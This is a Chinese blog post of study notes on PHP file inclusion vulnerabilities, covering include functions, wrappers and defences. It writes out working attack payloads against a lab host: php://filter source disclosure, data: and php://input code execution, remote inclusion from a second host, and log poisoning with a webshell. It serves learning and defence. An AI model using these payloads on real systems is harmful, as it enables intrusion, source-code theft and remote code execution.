常见的文件包含漏洞

一、什么是文件包含

程序开发人员一般会把重复使用的函数写到单个文件中,需要使用某个函数时直接调用此文件。而无需再次编写,这种 文件调用的过程一般被称为文件包含。

例如:include “conn.php”

 

PHP中常见包含文件函数

include()

当使用该函数包含文件时,只有代码执行到include()函数时才将文件包含进

来,发生错误时之给出一个警告,继续向下执行。

include_once()

功能与Include()相同,区别在于当重复调用同一文件时,程序只调用一次

require()

require()与include()的区别在于require()执行如果发生错误,函数会输出

错误信息,并终止脚本的运行。

require_once()

功能与require()相同,区别在于当重复调用同一文件时,程序只调用一次。

 

include :包含的文件不存在,程序会继续执行

require:包含文件不存在,程序停止执行

 

 

 

 

 

文件包含

1,利用

伪协议

php://input         (allow_url_include)

php:fileter/read

php:date:text/plain(allow_url_include/fopen)

 

2,包含其他文件

1,本地,包含日志文件,session,错误日志

2,远程,allow_url_fopen,allow_url_include

 

3,挖掘

1,代码审计

2,扫描器

4,防护

open_basedir

过滤.

关闭allow_url_fopen,allow_url_include

补充:

文件包含

修改apache配置文件

1,记录日志 修改httpd.conf

    #CustomLog "|bin/rotatelogs.exe -l logs/access-%Y-%m-%d.log 86400" common  #普通类型

        CustomLog "|bin/rotatelogs.exe -l logs/access-%Y-%m-%d.log 86400" combined #复合类型

    <IfModule log_config_module>

    LogFormat "%h %l %u %t \"%r\" %>s %b \"%{Referer}i\" \"%{User-Agent}i\"" combined

    LogFormat "%h %l %u %t \"%r\" %>s %b" common

    LogFormat "%{Referer}i -> %U" referer

    LogFormat "%{User-agent}i" agent

</IfModule>

#php文件包含漏洞

http://www.freebuf.com/column/148886.html

php伪协议:不需要开启allow_url_fopen,

仅php://input、 php://stdin、 php://memory 和 php://temp 需要开启allow_url_include。

#   (php://filter: php://filter 读取网站源码)

    是PHP语言中特有的协议流,作用是作为一个“中间流”

    来处理其他流。比如下面的代码,我们可以把conn.php配置文件转换成base64编码并输出:

http://172.18.199.199/14-include/01.php?page=php://filter/read=convert.base64-encode/resource=../03-session/conn.php

 

#   (php://input 接受post请求,并执行里面的代码)

https://www.cnblogs.com/ningskyer/articles/4712597.html

http://172.18.199.199/14-include/01.php?page=php://input

php://input可以读取没有处理过的POST数据。相较于$HTTP_RAW_POST_DATA而言,它给内存带来的压力较小,并且不需要特殊的php.ini设置。php://input不能用于enctype=multipart/form-data”

我们应该怎么去理解这段概述呢?我把它划分为三部分,逐步去理解:

1,读取POST数据

2,不能用于multipart/form-data类型

3,php://input VS $HTTP_RAW_POST_DATA

 

#   (data伪协议:data:text/plain,<?php system('config');?> 直接执行后面的代码)

page=data:text/plain,<?php system('config');?>

http://172.18.199.199/14-include/01.php?page=data:text/plain,<?php system('ipconfig');?>

 

----------------------------文件包含漏洞除了可以包含你上传的文件,日志文件,session文件。。。---------------

#  如果php.ini开启了allow_url_include=on

伪协议:

*-1 php://filter 读取网站文件源码 xxx.php?page=php://filter/read=convert.base64-encode/resource=路径

*-2 php://input 接受post请求,执行里面的php代码  xxx.php?page=php://input

构造post请求 <?php phpinfo()?>

*-3  data协议: xxx.php?page=data:text/plain,<?php phpinfo();?>

*-4 包含远程文件  进攻目标站 http://172.18.199.199 存在文件包含

远程文件包含,包含的文件不能被解析。

攻击语法:http://172.18.199.199/14-include/01.php?page=http://172.18.199.13/www/one.txt

xxx.php?page=http://172.18.199.13/one.php

文件包含防御

修改配置文件php.ini 限制包含目录

open_basedir=D:/phpStudy/WWW/14-include/

 

对开启日志运用kaliLinux 访问,curl “http://xxxx.com”利用这样的格式,替换为一句话木马等等脚本内容,然后对日志文件进行访问

但是有个重要的问题,凌晨左右日志文件会重新生成,这个时候插入脚本会有比较好的效果不会被其他的访问内容所影响。

posted @ 2021-02-04 16:56  斑林鸽的代码世界  阅读(190)  评论(0编辑  收藏  举报